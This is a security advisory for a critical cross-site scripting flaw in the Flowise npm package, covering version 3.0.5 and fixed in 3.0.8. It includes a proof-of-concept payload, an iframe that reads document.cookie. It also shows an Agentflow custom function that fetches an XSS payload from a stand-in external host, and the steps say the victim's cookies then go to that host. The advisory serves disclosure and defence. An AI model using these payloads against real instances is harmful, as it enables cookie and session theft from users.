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XSS vulnerability in Flowise

Critical
HenryHengZJ published GHSA-4fr9-3x69-36wv Oct 3, 2025

Package

npm flowise (npm)

Affected versions

3.0.5

Patched versions

3.0.8

Description

Summary

A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.

Details

  1. Send a Message <iframe src="javascript:alert(document.cookie);"> from User in a chat box:
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Trigger in other ways:
  1. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)

  2. Create a Custom function as an example, use the below example code.

const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
    }
};
try {
    const response = await fetch(url, options);
    const text = await response.text();
    return text;
} catch (error) {
    console.error(error);
    return '';
}
  1. The external website (https://external.website) return a XSS payload as content.
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  1. The javascript code is executed and the victim's cookie data is sent to the external website.
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PoC

<iframe src="javascript:alert(document.cookie);">

Impact

it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

Severity

Critical

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as <, >, and & that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. Learn more on MITRE.

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